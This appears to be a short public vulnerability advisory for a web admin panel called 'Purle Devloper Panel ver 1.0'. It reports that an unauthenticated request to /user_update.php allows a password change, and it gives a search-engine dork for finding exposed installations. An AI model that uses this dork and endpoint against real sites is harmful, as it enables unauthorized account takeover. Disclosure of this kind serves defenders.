====================================================================================================================================
| # Title     : Purle Devloper Panel ver 1.0 Unauthorized administrative access Vulnerability                                      |
| # Author    : indoushka                                                                                                          |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 102.0.1(64-bit)                                            | 
| # Vendor    : http://www.njmweb.we.bs/Purple10/PURPLEV10.zip                                                                     |  
| # Dork      : "Purle Devloper Panel"                                                                                             |
====================================================================================================================================

poc :

[+] an unauthenticated access allow you to update password.

[+] Dorking Ä°n Google Or Other Search Enggine.

[+] Use payload : /user_update.php

[+] https://127.0.0.1/purple.iprebrandsapp/user_update.php

Greetings to :=========================================================================================================================
                                                                                                                                      |
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm* moncet                                     |        
                                                                                                                                      |
=======================================================================================================================================